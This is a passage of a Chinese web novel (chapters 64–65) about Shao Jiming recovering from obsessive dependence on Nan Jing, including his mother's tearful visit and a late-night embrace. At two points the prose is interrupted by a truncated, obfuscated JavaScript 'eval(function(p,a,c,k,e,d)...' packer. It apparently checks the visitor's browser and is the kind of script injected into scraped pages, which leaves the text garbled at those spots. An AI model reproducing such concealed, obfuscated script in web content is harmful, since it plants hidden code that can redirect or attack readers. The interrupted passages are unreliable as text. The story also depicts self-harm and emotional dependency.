;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着邵既明哭得红肿不堪、满是泪痕和血渍的脸,看着他眼中全然的绝望和卑微的祈求,一字一句,清晰而缓慢地说道: “先好起来。” “我们,再谈爱。” 这句话,像一道光,骤然劈开了邵既明眼前无边的黑暗。不是拒绝,不是推开,甚至不是遥远的承诺。它是一个清晰的、有条件的指引——你好起来,我们才有未来。 这比任何空洞的安慰或即时的回应,都更让邵既明那颗濒死的心脏,重新感受到了搏动的希望。他眼泪流得更凶,却不再是绝望的恸哭。他用力点头,嘴唇哆嗦着,想说什么,却发不出完整的音节,只能更紧地抱住南景,将脸埋在他肩头,发出呜咽。 南景任由他抱着,没有再说话。晨光越来越亮,透过窗帘的缝隙,将相拥的两人笼罩在一片柔和的光晕里。 有些东西,从这一刻起,彻底不同了。 冰封的心湖终于解冻,爱意能否在废墟上重生,伤痕能否在时光中愈合,一切还是未知。 但至少,他们站在了新的起点。 一个以“好起来”为前提的,关于“爱”的起点。 路还很长,很艰难。但这一次,或许可以试着,并肩走下去看看。 64. 秦凌萱 自那天清晨崩溃的告白与南景那句“先好起来,再谈爱”之后,某种紧绷而诡异的气氛,如同春日湖面最后一块浮冰,悄无声息地融化了。公寓里的空气似乎都变得轻盈舒缓了些。 邵既明搬回了自己的房间睡觉。不再是南景的要求,而是他自己,晚餐后,抱着枕头,站在卧室门口,眼神里带着点试探和努力做出的懂事,小声说:“我……我今晚睡自己房间。”南景从正在浏览的平板上抬起头,看了他几秒,然后平静地点了点头:“嗯。门别反锁,有事叫我。” 没有多余的叮嘱,没有担忧的审视。这份平静的信任,让邵既明微微松了口气。他用力点头,抱着枕头走了,背影不再像之前那样绷成一根随时会断的弦。 他开始和南景聊天。起初是磕磕绊绊的,词不达意的,常常说一半就卡住,眼神飘忽,像个蹩脚的学生在老师面前背诵不熟悉的课文。南景并不催促,也不刻意引导,只是在他停下来时,递过去一杯水,或者很自然地接上一句无关紧要的话,将话题轻轻带开,给他喘息和重新组织语言的空间。 慢慢的,邵既明的话多了起来。不再是那种神经质的、颠三倒四的絮语,而是有了清晰的逻辑和内容。他会说起今天在阳台看到的一只羽毛特别漂亮的鸟,会说起在书上读到的一个关于古建筑修复的有趣细节,甚至会小心翼翼地对南景做的某道菜,发表一点带着讨好评味的看法:“这个汤……味道很特别。”而不是从前要么漠不关心,要么挑剔打击。 但他说得最多的,还是关于南景。或者说,关于南景和周冉的环球旅行。 那些南景早已习以为常、甚至渐渐淡忘的旅途片段,在邵既明口中,却如同珍藏的珠宝,被一件件擦拭,仔细端详,然后带着一种混合了向往、遗憾和隐秘欢喜的复杂语气,娓娓道来。 “哥……我是说,秦朗,”邵既明会这样开头,微微垂下眼,掩饰那一闪而过的不自在,“他手机里,有周冉的朋友圈。有时候……我会看。” 然后,他便开始描述,复盘着一场他未曾参与、却透过一方小小屏幕窥见了全貌的盛大演出:“你们在冰岛的黑沙滩,那天风很大,你的围巾被吹起来一点点,周冉姐抓拍到了,你好像在笑。”他顿了顿,声音更轻,“那张照片,天空是铅灰色的,海浪是白色的,你的米色围巾……很好看。” “在撒哈拉,你们骑骆驼。你穿着当地人的长袍,戴着那个……头巾?只露出眼睛。但我知道是你。你的背挺得很直,跟别人不一样。” “京都的枫叶季,你们去了那个很古老的寺院。周冉拍了一地红叶,你入镜了半个背影,在看一棵树。我后来查了,那棵树有四百多年了。” “还有马丘比丘,日出的时候,云海是金色的。你站在废墟最高的地方,没有看镜头,在看远方。那张照片……很安静,但感觉……很有力量。” 他说这些的时候,眼神并不总是看着南景,有时会落在虚空,仿佛在透过回忆,重新凝视那些画面。他的语气很平静,甚至带着一种事不关己的陈述感,但南景能听出那平静之下,深埋的、经年累月的关注,和因为缺席而产生的淡淡落寞。 邵既明记得每一个细节。南景穿了什么颜色的衣服,当时的天气如何,照片构图里不起眼的一角是什么植物,周冉配的文案里可能透露的、关于南景心情的只言片语……他像一个最偏执的考据学家,将那些零散的、经由他人之眼过滤后的碎片,拼凑成一个他想象中的、完整的南景的旅途。这想象里,有羡慕,有祝福,或许也有一点点……被排除在外的酸涩。 南景通常只是安静地听着,偶尔“嗯”一声表示在听,很少插话。他不去追问“你为什么看”,也不去纠正邵既明描述中可能存在的偏差。他只是让邵既明说,任由那些被压抑了太久关于“南景”的思绪,一点点流淌出来,见见天光。他知道,这是邵既明重建与“现实中的南景”连接的方式,也是他消化那漫长分离岁月带来的空洞感的过程。 然而,好转并非一蹴而就。根深蒂固的不安全感和依赖,依然会在某些细微的时刻探头。 比如,南景起身去厨房倒水,如果时间稍微久了一点,沙发上原本还沉浸在某段旅行回忆中的邵既明,声音会渐渐低下去,然后停下。他会开始有些坐立不安,目光不由自主地瞟向厨房的方向,手指无意识地蜷缩。如果南景再不出现,他会站起来,走到客厅与厨房连接的门口,并不进去,只是站在那里,安静地等待,眼神里重新浮现出惶惑。 最初几次,南景并未察觉。直到有一次,他接了一个工作电话,在书房多待了二十分钟。出来时,看到邵既明就站在书房门外的走廊阴影里,背靠着墙,低着头,就一下一下的撞着墙。 南景的脚步顿了顿。他走到邵既明面前:“怎么了?” 邵既明像是被惊到,猛地抬起头,看到是他,眼中那点惶惑瞬间消散,被一种找到人了的安心取代,但他立刻又为自己的盯梢行为感到羞赧,脸微微泛红,垂下眼帘:“没……没什么。就……看看。” 南景看着他,没有说话。但下一次,当他需要离开客厅,去做一些短时间内无法返回的事情时,比如下楼丢垃圾,他对邵既明说:“垃圾满了,我下楼一趟。”他顿了顿,补充道,“要陪我一起去吗?外面天气好像不错,可以走走。” 邵既明的眼睛会变得更亮,他会立刻点头,甚至有些急切地站起来:“好!我去换鞋!”动作快得像生怕南景反悔。 于是,扔垃圾这项简单的日常事务,变成了两人安静的散步。他们并肩走在楼下整洁的林荫道上,秋风已带凉意,卷起几片早落的梧桐叶。邵既明会紧紧跟在南景身边半步的距离,不再像之前那样亦步亦趋如同影子,但也不会离得太远。他会小声地继续之前未说完的话题,或者指给南景看路边一丛开得晚的、不知名的小花,又或者,只是安静地走着,感受着身边人平稳的呼吸和存在,脸上是前所未有的、平和的宁静。 南景很少主动找话题,但他会听,会在邵既明说完后,给出简短而认真的回应,或者在他指着小花时,也停下脚步,认真地看上一眼,然后说是挺好看的。这种平淡的互动,对邵既明而言,却如同甘霖,一点点浸润着他干涸龟裂的情感世界。 他们就这样,在琐碎的日常和邵既明那些关于“旅途”的回忆中,慢慢重建着相处的节奏。邵既明依旧满心满眼都是南景,说的、想的、关注的,几乎都与他有关。但那份关注,不再仅仅是病态的依赖和恐惧失去,开始掺杂进更多正常的情感,分享的欲望,被回应的欣喜,共同经历的满足,以及一种小心翼翼的、试图靠近和了解的渴望。 南景心口那道曾被彻底冲垮的裂缝,并未完全弥合,依然留有深刻的痕迹。但似乎正被这些平淡细水长流的日常,一点点抚平,覆盖上一层温暾带着秋日暖阳温度的土壤。 南景有晨起手冲咖啡的习惯。水沸的声音,磨豆机的轻响,水流均匀注入滤杯的淅沥声,是独属于他的宁静时刻。现在,这个多了一个安静的旁观者。 当南景走进厨房,烧上水,开始称豆子时,邵既明就会出现在厨房门口。他不进来,只是倚在门框上,穿着柔软的家居服,头发有些凌乱,睡眼惺忪,却不再是从前那种空茫的惺忪,而是带着刚醒自然的懵懂。他会安静地看着南景操作,目光追随着南景修长的手指,看它们平稳地持着手冲壶,划出均匀的圆圈。 起初,他什么也不说。当南景将第一杯咖啡递给他时,邵既明接过,很轻地说了一句:“今天用的,是耶加雪菲的水洗豆吗?闻起来……有花香。” 南景有些意外地看了他一眼。邵既明立刻有些不好意思地低下头,抿了一口咖啡,耳根微红:“我之前看你买过,记住了包装。” 南景“嗯”了一声,没说什么,但第二天,他换了一支豆子,研磨时,无意地提了一句:“今天试试曼特宁,风味更厚重。” 邵既明眼睛亮了一下,凑近嗅了嗅研磨好的咖啡粉,认真地点评:“有……木头和草药的味道。”虽然描述得不算精准,但那份努力参与、试图理解和靠近南景世界的用心,清晰可见。 早餐后,南景会去书房。邵既明不再会亦步亦趋地跟到门口守候,也不会在客厅坐立不安。他会给自己也找点事做——有时候是翻阅南景之前给他挑的书,有时候摆弄一下阳台那几盆半死不活的绿植,浇水、擦拭叶片。但他会有一个小动作:在开始做自己的事情前,他会对南景说:“你去忙吧。我看看书。”或者,“我浇一下花。” 南景通常只是点点头。这种简单的交流,却像一种无声的契约,给了邵既明安心的边界,也给了南景不被紧迫跟随的空间。 午后的阳光最好,会铺满客厅大半的地板。邵既明在看一本关于西班牙民居建筑的画册,看到某张有着精美铁艺阳台的照片时,他犹豫了一下,拿起书,走到南景旁边,指着那张图片:“南景,这个阳台……是不是有点像我们在巴塞罗那哥特区路过的那栋?你当时还停下来看了很久那个涡卷纹。” 南景的目光从平板上移开,落在那张图片上。他记得那个阳台,也记得自己确实多看了几眼。他有些意外邵既明连这个细节都记得,并且能将书中图片与现实记忆联系起来。他仔细看了看图片,点了点头:“是有点像。不过书中这个更繁复,年代可能更早一些。” 邵既明因为他肯定的回应而眼睛发亮,他没有立刻离开,而是就着这个姿势,又指着图片上的其他细节,小声地问了几个问题。南景一一耐心解答。 当然,好转并非直线上升。某些时刻,依赖的惯性还是会显露出来。南景如果接电话时间稍长,或者临时需要出门一趟,没有提前“报备”,邵既明还是会下意识地紧张。 有一次,南景的手机在书房充电,他下楼取了个快递,来回不到十分钟。回来时,看见邵既明正站在玄关附近,手里无意识地捏着衣角,眼神有些飘忽,直到看见南景进门,那点紧绷才瞬间松懈,他立刻垂下眼帘,假装要去倒水,眼眶却微微发红。 南景看在眼里,没说什么。但下一次,当他需要短暂离开视线范围时,他会告诉他:“我手机好像落在书房了,去拿一下。”或者,“冰箱牛奶没了,我去便利店买一盒,很快回来。” 这种提前的、具体的告知,像一根定心锚,稳稳地扎在邵既明容易浮动的安全感里。他会立刻点头:“好,你去。”然后真的能安心地继续做自己的事,等待南景归来。他甚至开始尝试在南景短暂外出时,给自己设定一个小目标:“你去吧,我把这章看完。”或者,“我把阳台那盆茉莉的枯叶修一下。” 邵既明的爱,不再仅仅是病态的执着和疯狂的,它开始以一种更细腻、更生活化的方式,溢于言表。 他会记住南景随口提过一句“最近睡眠好像不太沉”,第二天,南景的床头就会多了一个助眠的香薰蜡烛,是南景喜欢的清冷铃兰调。包装都没有拆,只是静静地放在那里。 他学做菜,从最简单的开始。第一次尝试煎蛋,差点把厨房点了,弄得满脸烟灰,蛋也焦黑。南景听到动静进去,看到他的狼狈样,没说话,只是接过锅铲,重新打了两个蛋,动作熟练。邵既明就站在旁边,目不转睛地看着,学得很认真。后来,他居然真的慢慢学会了煎出完整的太阳蛋,煮出软硬适中的米饭,甚至尝试了南景喜欢的清蒸鱼。虽然味道平平,但每次他小心翼翼地把菜端上桌,看着南景尝第一口时,眼神里那种全神贯注的期待和紧张,比任何山珍海味都更让人动容。 吃饭时,他会不自觉地把南景喜欢的菜往他那边推。看到南景多夹了一筷子某道菜,他会偷偷弯起眼睛。南景偶尔给他夹菜,他会愣一下,然后耳朵尖慢慢变红,低头小口小口地吃,吃得很珍惜。 晚上,他回自己房间前,会站在卧室门口,看着南景,很轻地说一句:“南景,晚安。”南景会抬头看他一眼,也回一句:“晚安。”然后邵既明才会心满意足地、轻轻带上门。 他的爱,渗透在这些琐碎的日常里,在记得的口味里,在添置的灯盏里,在笨拙学做的菜肴里,在每晚那句轻轻的“晚安”里。它依旧满溢,依旧将南景置于世界的中心,但不再令人窒息。 南景能清晰地感受到这种变化。他的心口,那片曾被冰封、又被洪流冲击过的土地,在这日复一日细水长流的浸润下,坚硬的外壳进一步软化,裂缝深处,似乎有什么极其微小柔软的绿意,正在试图破土而出。他不确定那是什么,也不知道它能否真的长大。但他不再急于封闭或抗拒。 门铃响起时,邵既明蹲在阳台,拿着小巧的喷壶,在给花浇水。南景则靠在沙发里,膝上摊着一本看到一半的书,闻声抬眼,看了看阳台方向——邵既明似乎没听见门铃,或者听见了但觉得与他无关,依旧沉浸在他的“园艺工作”中。 南景放下书,起身走到玄关。透过猫眼,他看到了一个让他有些意外、却又似乎在意料之中的身影。 打开门。门外站着的,是一位衣着得体、妆容精致却难掩憔悴的妇人。是邵既明的母亲,秦凌萱。与南景记忆中那个无论何时都雍容华贵、带着几分疏离傲气的邵夫人相比,眼前的女人像是被时间突然抽走了十年精气神。头发梳得一丝不苟,但两鬓已然染上了刺眼的霜白,眼角的细纹深刻,即使敷了粉也遮不住眼底浓重的青黑和疲惫。她站在那里,背脊挺直,试图维持住往日的仪态,但那微微颤抖的嘴唇和泛红的眼眶,泄露了强撑的镇定。 看到开门的南景,秦凌萱的目光猛地聚焦。她看着眼前这个清隽挺拔、神色平静的年轻人,这个曾经被她儿子伤透心、远远离开,如今却又成了她儿子唯一救命稻草的男人。复杂的情绪在她眼中翻涌——有身为母亲看到儿子因他而遭受炼狱般痛苦的怨怼,有对他这些年独自精彩的隐隐不平,但更多的,是此刻亲眼所见、从秦朗那里听说后,无法否认沉甸甸的感激,以及一丝……难以启齿的歉疚。 她的嘴唇哆嗦了几下,似乎想说什么得体的开场白,但最终,所有精心准备的言辞都在看到南景平静眼眸的瞬间土崩瓦解。泪水毫无预兆地冲上眼眶。她抬起手,似乎想捂住嘴,又无力地放下,声音带着浓重的哽咽,颤抖着冲口而出:“南景啊……”仅仅叫出名字,泪水便滚落下来,她慌忙别过脸去擦拭,肩膀微微耸动,再转回来时,已是泪流满面,却努力扯出一个比哭还难看的笑容,“……谢谢你。真的……谢谢你。” 这声“谢谢”太重,包含了太多她作为母亲无法言说的痛苦、无奈,和对南景以德报怨照顾邵既明的深切谢意。她知道儿子走到今天这一步,咎由自取,怨不得旁人。可当妈的,看着独子生不如死这么多年,心里哪能没有怨?可如今,怨怼在儿子一点点好转的现实面前,在眼前这个年轻人沉静的担当面前,显得那么苍白无力。 南景看着泪流满面的秦凌萱,脸上没有什么表情变化,只是抿了一下唇,然后微微颔首,侧身让开:“秦阿姨。” 就在这时,听到门口动静的邵既明已经像一阵风似的从阳台冲了过来!他甚至忘了放下手里的喷壶,细小的水珠随着他的动作洒了一路。他几步就跨到了南景身前,用自己单薄的身体挡住了南景大半,面对着母亲,脸上是赤裸裸的紧张和戒备,眼神凌厉得像护崽的母兽,死死地盯着秦凌萱,嘴唇抿成一条苍白的直线。 这个下意识的、保护性的动作,像一把烧红的刀子,狠狠捅进了秦凌萱的心脏! “你……你这是干什么?!”秦凌萱的眼泪刹那间决堤,汹涌而出,她再也维持不住任何仪态,声音破碎,“邵既明!你看清楚!我是谁?!我是你妈!你觉得我会伤害他吗?!啊?!在你心里,你妈就是这种人吗?!” 她上前一步,抬起颤抖的手,不是打,而是用尽全身力气却只是轻轻地捶了一下邵既明的肩膀,哭喊道:“我是你妈啊!你这五年……你这五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“秦朗都跟我说了。”秦凌萱擦掉眼泪,深吸一口气,看向南景,眼神里是全然的妥协和恳求,“他说,只有在你身边,既明才能像个人样,才能好好吃药,才能……有口气儿。阿姨以前……或许对你们的事,有看法。但现在……”她苦涩地摇摇头,“什么都不求了。什么都不在乎了。只要他能好起来,能像个正常人一样活着,他愿意跟谁在一起,就跟谁在一起。阿姨……认了。” 她看向邵既明,眼泪又落下来,但眼神是柔软的:“既明,妈只要你……好好的。行吗?” 邵既明终于抬起了头。他看向母亲,喉咙剧烈地滚动了一下。他向前走了一小步,不再是全然躲在南景身后的姿态,但依旧离南景很近。 “妈……对不起。”他低下头,肩膀微微塌下,“让您……担心了。是我……不好。” 一句“对不起”,让秦凌萱的泪水再次奔涌。但这句道歉之后,邵既明的话,却让她心头巨震,也彻底明白了儿子无可救药、也无法扭转的执念。 邵既明抬起头,目光没有看母亲,而是转向了身边的南景。那眼神瞬间变了,不再是面对母亲时的歉疚,而是变成了依赖、眷恋。他像是终于找到了机会,对着最亲近的人,剖白自己最真实、也最病态的核心: “我需要他,妈。看不见他,我这里,”他抬手按了按自己的左胸,眉头因想象中的痛苦而蹙起,“……就空了,就慌了,就没办法呼吸,没办法思考……会想他,想到浑身都疼,想到……觉得自己为什么要活着。” 他转向母亲,眼神清澈得残忍,将自己最脆弱、最不堪、也最真实的软肋暴露出来:“我爱他。从很久以前,可能我自己都不知道的时候,就爱了。爱到……把一切都搞砸了。爱到……差点把自己弄死。也爱到……现在,离开他,我可能就真的活不下去了。” 他顿了顿,像是下定了某种决心,目光重新落回南景沉静的侧脸上,语气是前所未有的坚定和坦然:“所以,妈,别劝我,也别怪他。是我需要他,是我依赖他,是我……求着他,才能站在这里,跟您说这些话。没有他,就没有现在的邵既明。哪怕这个邵既明……还是不够好,还是有很多问题,但至少……他还活着,还能感觉到疼,也能……感觉到一点点好了。” 这番直白到近乎残忍的告白,不仅是对秦凌萱说的,更像是对南景的一次彻底交底。他将自己所有的软肋、所有的依赖、所有病态又炽热的爱意,毫无保留地摊开在光天化日之下,任由审判。他不再掩饰,也不再恐惧暴露自己的不正常。 秦凌萱早已听得呆住了,忘记了哭泣,只是怔怔地看着儿子,看着他那将自己生死都系于一人身上的决绝姿态。作为母亲,她感到一阵的心疼和痛心,可与此同时,一股无奈的释然,也慢慢从心底升起。 还能怎么样呢?儿子已经把话说到这个份上,把心剖开到这个地步。他的人生,他的喜怒哀乐,他的生死,早已和眼前这个叫南景的男人绑在了一起。强行分开,才是真的要他的命。 她看向南景,这个从始至终都异常平静的年轻人。儿子的生死告白,似乎并未在他脸上激起太多波澜,但他微微绷紧的下颌线,和那双深不见底的眼眸中翻涌的情绪,泄露了他内心的震动。 秦凌萱扯了扯嘴角,想笑,却比哭还难看。 “南景啊……你都听到了。这个傻儿子……他这辈子,算是栽在你手里了。阿姨……没别的要求了。以后……你们俩,好好的。行吗?”她顿了顿,补充道,“有时间……和他一起,回家吃个饭。他爸……其实也默认了,就是拉不下那张老脸。家里……永远有你们的碗筷。” 这几乎是正式的交托和认可。将一个母亲视若生命的儿子,连同他未来的人生,一并托付给了眼前这个曾经被他们家伤害过的年轻人。 客厅里再次陷入寂静。只有三个人沉重的呼吸声。 所有的目光,此刻都聚焦在南景身上。 邵既明更是屏住了呼吸,一眨不眨地看着南景。 南景久久没有言语。他微微垂着眼,目光落在自己交握的手上。秦凌萱的话,邵既明剖心泣血的告白,过往的种种,未来的沉重,像无数纷乱的丝线,在他脑海中缠绕、拉扯。 终于,南景抬起了眼。 他没有看秦凌萱,而是直接看向了身边紧紧盯着他的邵既明。 他的目光很深,很静,像深秋的潭水,映出邵既明苍白不安的脸。 然后,在邵既明几乎要因为那长久的沉默而窒息时,南景的嘴唇,动了一下。 他伸出手,不是去拥抱,也不是去安抚,只是很轻地,用指尖,碰了碰邵既明紧紧攥成拳头、指甲几乎掐进掌心的手背。 南景看着他,看着他眼中瞬间涌上的欣喜和更汹涌的泪水,给出了那个迟来了太久、也沉重了太久的承诺: “嗯。” “我会好好照顾他。” 没有华丽的誓言,没有动人的情话。只有最简单、最朴素的七个字。 却像最坚固的磐石,稳稳地接住了邵既明那颗一直悬在半空、无处安放、濒临破碎的心。也像一道赦令,正式为这段扭曲、痛苦、却已然无法分割的关系,盖上了认可的印章。 邵既明猛地瞪大了眼睛,泪水瞬间汹涌而下。不是无声的恸哭,而是发出了“呜”的一声压抑的哽咽,他再也支撑不住,腿一软,就要跪下去。 南景眼疾手快,一把捞住了他的胳膊,将他牢牢扶住。邵既明就势将额头抵在南景的肩膀上,身体因为剧烈的情绪波动而无法控制地颤抖,压抑的哭声从喉间溢出,泪水迅速浸湿了南景肩头的衣衫。但那哭声里,不再是绝望,而是失而复得般的委屈、心酸,和……终于落定的安心。 秦凌萱看着相拥的两人,看着儿子在南景怀里哭得像个受尽委屈终于找到家的孩子,看着南景虽然面色平静、却稳稳扶住儿子、没有半分推开的意思,她捂住嘴,泪水再次决堤。 65. 一晃经年 “哐哐哐!” 急促而凌乱的拍门声,在深夜寂静的公寓里骤然炸响,不像是礼貌的叩击,更像是某种恐慌下的捶打。南景几乎是瞬间就从浅眠中惊醒,心脏漏跳一拍。他睡眠素来警醒,他立刻掀开被子,甚至来不及披上外衣,只穿着单薄的深色睡衣就疾步走向房门。 门外,是邵既明。 走廊感应灯昏黄的光线下,邵既明穿着同样单薄的睡衣,赤着脚站在冰凉的地板上,头发凌乱,脸上湿漉漉一片,分不清是汗水还是泪水。他全身都在无法控制地细微颤抖,嘴唇煞白,牙齿甚至能听到磕碰的轻响。那双总是映着南景影子的眼睛,此刻是带着恐惧和惶惑,眼泪像断了线的珠子,汹涌地滚落。 他看到南景开门,瞳孔猛地收缩了一下,像是确认了眼前人的真实,但那恐惧并未消散,反而因为“找到”了目标而变得更加具体。他抬起手,手指抖得厉害,想要去抓南景的衣袖,又在半空中僵住。 “南、南景……”他叫他的名字,声音嘶哑得不成调,眼泪流得更凶了,“我……我害怕……我梦到……梦到你又走了……不要我了……我怎么找都找不到……哪里都找不到……” 他说着,身体摇晃了一下。 南景看着他这副模样,眉头紧蹙。心脏像是被什么东西不轻不重地撞了一下,泛起一阵滞闷的酸胀感。是心疼吗?看到一个人因为自己而恐惧成这样,很难无动于衷。是无奈吗?这该死的依赖和恐惧,像跗骨之蛆,即使在好转的日常下,也依然会在最脆弱的时候露出狰狞的爪牙。甚至……还有连他自己都未曾预料到的,想笑?不是嘲笑,而是某种带着苦涩的感慨,这个曾经骄傲到目空一切的男人,如今竟会因为一个梦,哭得像个迷路的孩子,站在他门口瑟瑟发抖。 南景没有立刻说话,只是静静地看着他,他能看出邵既明在极力克制,那停在半空颤抖的手,那死死咬住下唇却依旧泄出呜咽的隐忍,都显示他并非完全被梦魇掌控,他还有一丝清醒,在害怕自己的失态会惹南景厌烦。 果然,邵既明在汹涌的泪水和恐惧中,挣扎着,用尽力气挤出一句带着颤音的请求:“南景……我、我可以抱抱你吗?就一会儿……就抱一会儿……我保证……很快就好……不会弄脏你……” 怕是之前秦凌萱的突然出现,以及那些关于过去、关于未来的沉重谈话,终究还是在他并未完全稳固的心里投下了不安的阴影,在沉睡的防御最薄弱时,化成了最可怕的梦魇。 南景看着他那双被泪水洗过、却依旧执拗地映着自己身影的眼睛,看着他那副想靠近又不敢、恐惧到极致却还在努力“讲条件”的可怜模样。心口那片早已松动、被爱意浸润的土地,仿佛被这滚烫的泪水和无助的祈求,又浇透了一层。 他几不可察地,几不可察地,在心底,几不可察地,叹了口气。 那口气很轻,却仿佛叹出了最后一点犹豫和疏离的冰渣。 然后,在邵既明因为那短暂的沉默而眼中希望之光即将熄灭、被更深的绝望覆盖之前,南景向前迈了极小的一步,缩短了两人之间那最后一点礼貌的距离。 他什么也没说,只是平静地,对着那个哭得浑身发抖的男人,张开了自己的双臂。 一个无声的,却比任何语言都清晰的邀请。 ——抱吧。 邵既明的眼睛,在那一瞬间,像是被投入火星的干柴,骤然爆发出璀璨到极致的光芒! 他不再有任何犹豫,也忘记了“一会儿”和“不弄脏”的承诺,用尽全身力气,猛地扑进了南景张开的怀抱里!双臂死死地、紧紧地环住了南景的腰背,力道大得惊人,仿佛要将自己整个嵌入南景的身体,合二为一,永不分离。他将湿漉漉的脸深深埋进南景的颈窝,滚烫的泪水瞬间浸透了薄薄的睡衣布料,温热的湿意紧贴着皮肤。 南景被他撞得微微后退了半步才稳住,腰间传来的箍紧力道确实有些超出预料,让他呼吸都滞了一瞬。他能清晰地感受到怀里身体的每一分颤抖,每一滴泪水的温度,甚至能听到那急促带着哭腔的心跳,隔着单薄的衣料,重重地擂在自己的胸膛上,渐渐与自己的心跳声趋同。 “邵既明,我要被你勒死了。” 邵既明环在他腰间铁钳般的手臂,僵硬了一下,然后,那力道真的如他所言,放松了些许。但他没有松开,只是将拥抱的力度调整到一个既能紧紧依偎、又不会让南景感到不适的程度。他将脸更深地埋进去,贪婪地呼吸着南景身上干净清冽的气息。 就在邵既明稍微放松力道的那一刻,南景那一直垂在身侧、保持着一种礼貌性僵直的手臂,终于,缓缓地,动了。 起初只是指尖微微蜷缩,然后,整条手臂抬起了些许弧度。他的动作很慢,带着一种连自己都未曾完全理解的迟疑,但终究,还是越过了那最后一点心理上的界限。 他的左手,轻轻地,落在了邵既明因为哭泣和紧张而微微耸动的后背上。隔着睡衣能感受到皮肤的温度和细微的颤抖,他的右手,则抬起,犹豫了一下,最终落在了邵既明凌乱柔软的发顶,很轻地,缓缓地,顺了顺他汗湿的头发。 这个回抱的动作并不紧密,甚至算不上温柔,只是一种沉默的接纳。但就是这个简单的动作,让怀里原本还在细微颤抖的身体,猛地一震,然后,那颤抖后逐渐地平复了下来。邵既明紧紧环抱着他的手臂,又收紧了一瞬,然后,那力道也真正地、彻底地松弛下来。他不再压抑,低低的、压抑的抽泣声从南景颈窝处传来,但不再是崩溃的嚎啕,而是像迷路的孩子终于回到家、在亲人怀里发泄委屈的那种。 怀中身体的颤抖逐渐平息,温热的泪水却依旧透过衣料,源源不断地传来湿意,脖颈间是他呼吸带来的、带着泪意的潮热气息。南景维持着这个略显僵硬的拥抱姿势,背脊挺直,目光落在前方走廊昏暗墙壁的某一点虚空,思绪却飘得很远。 真是……拿他没办法。 一个梦而已,就能吓成这样。秦凌萱的出现,还是刺激到他了。那些关于“回家”、“以后”的话,对他而言,大概既是期盼,也是压力吧。怕这好不容易得来的收留和照顾,会因为家庭的再次介入而发生变化,怕他……会再次因为外界因素而动摇,或者离开。 邵既明其实一直都没什么安全感,即使最近看起来好了很多。那些依赖,那些小心翼翼的靠近,那些努力表现的“正常”,底下还是藏着这五年积攒下来的、深不见底的恐惧。恐惧被抛弃,恐惧再次失去,恐惧回到那个没有他的黑暗世界里。 刚才他站在门口的样子……像只被雨淋透、又被噩梦惊飞了魂的鸟,毛都炸着,却连靠近都不敢,只敢用那双湿漉漉的眼睛看着你,等着你施舍一点怜悯和温暖。 南景心口有点闷。说不清是什么感觉。不是厌烦,也不是纯粹的同情。更像是一种……被需要的责任感,和对他如此境地的无奈,和一丝细微的疼。 他说“可以抱抱你吗?”的时候,眼神里的卑微和乞求,像根细针,不轻不重地扎了他一下。曾几何时,邵既明会用这种眼神看人?会用这种语气说话? 时间,疾病,还有……他南景,真的把他变成了另一个人。一个破碎的,脆弱的,却也将所有爱恨喜怒都系于他一身的人。 张开手的时候,没想太多。只是觉得,如果这样能让他停止颤抖,停止那令人心慌的眼泪,那就抱吧。毕竟,承诺了要“好好照顾”。 可他扑上来的力道……是真的怕啊。怕得要用尽全力抓住,才能确认真实。 说他勒,他就真的松了点力。还是那么……听话。听话得让人心里发酸。 手落在他背上,能摸到骨头的形状。比以前瘦了太多。这五年,他到底是怎么熬过来的?那些药,那些治疗,那些独自面对黑暗和绝望的时刻…… 头发湿漉漉的,沾着汗和泪。顺着摸了两下,动作很生疏。上一次这样主动触碰他,是什么时候?大学?还是更早?记忆模糊了。只记得后来,多是冷漠,是推开,是彼此伤害。 现在,却在这里,深夜,走廊,抱着这个因为梦到他离开而哭到崩溃的男人。 荒谬。却又……真实得无处可逃。 怀里的抽泣声渐渐低了下去,变成均匀的、带着鼻息的呼吸。身体的分量完全依靠过来。 心跳声,隔着衣料,渐渐清晰。不知道是他的,还是他的。或许,已经分不清了。 冰层是什么时候彻底融化的?是他说“看不见你这里就生病了”的时候?是他在晨光中崩溃告白的时候?是秦凌萱含泪托付的时候?还是……就在刚才,他颤抖着请求一个拥抱,而我张开手臂的瞬间? 不重要了。 当他的手真正回抱住他,当他的指尖感受到他发丝的柔软和体温,当他的心跳因为他的贴近而变得清晰有力—— 有些东西,已经不一样了。 不再是责任,不再是同情,甚至不完全是“原谅”。 是一种更复杂的,糅合了心疼、无奈、被需要的沉重,以及……悄然滋生的,想要护住这份脆弱,想要看着这双眼睛重新亮起光彩,想要……让怀里这个人,真真正正好起来的念头。 路还很难。他的病,他的心结,外界的眼光,未来的不确定…… 但至少此刻,在这个寂静的深夜,在这个昏暗的走廊,他抱着他。 而他,在他怀里,终于安静地睡去。 这就够了。 至于爱…… 南景微微垂下眼帘,感受着脖颈间温热的呼吸,和怀中人全然依赖的沉睡重量。 或许,它早就以另一种方式,悄然发生了。只是他,直到张开双臂的这一刻,才终于愿意承认,并且接纳。 夜色深沉,走廊的感应灯悄然熄灭,只余窗外城市遥远的光晕,勾勒出门口相拥两人的模糊轮廓。一个站立着,怀抱是沉默的港湾;一个依偎着,眼泪是归航的帆。 长夜漫漫,但至少,不再是一个人。 ———— 邵既明能自己出门了。这个认知,在几个月前还像是天方夜谭,如今却成了日常。他会去超市挑选新鲜的食材,且严格按照南景偏好的清单,也会在天气晴好的下午,独自下楼,在小区花园的长椅上安静地坐一会儿,看看云,或者喂喂偶尔路过不怕生的流浪猫。他不再像惊弓之鸟,南景出门工作或处理事务时,他也能安然留在家中,看书,侍弄花草,或者只是看着时钟,估算南景回来的时间,然后提前准备好温度刚好的茶水。 他去哪儿都会和南景报备,用简单的一两句话。“我去趟超市,买牛奶和吐司。”“楼下花园的桂花开了,我去坐坐。”南景通常会回一个“好”字,或者“注意安全”。 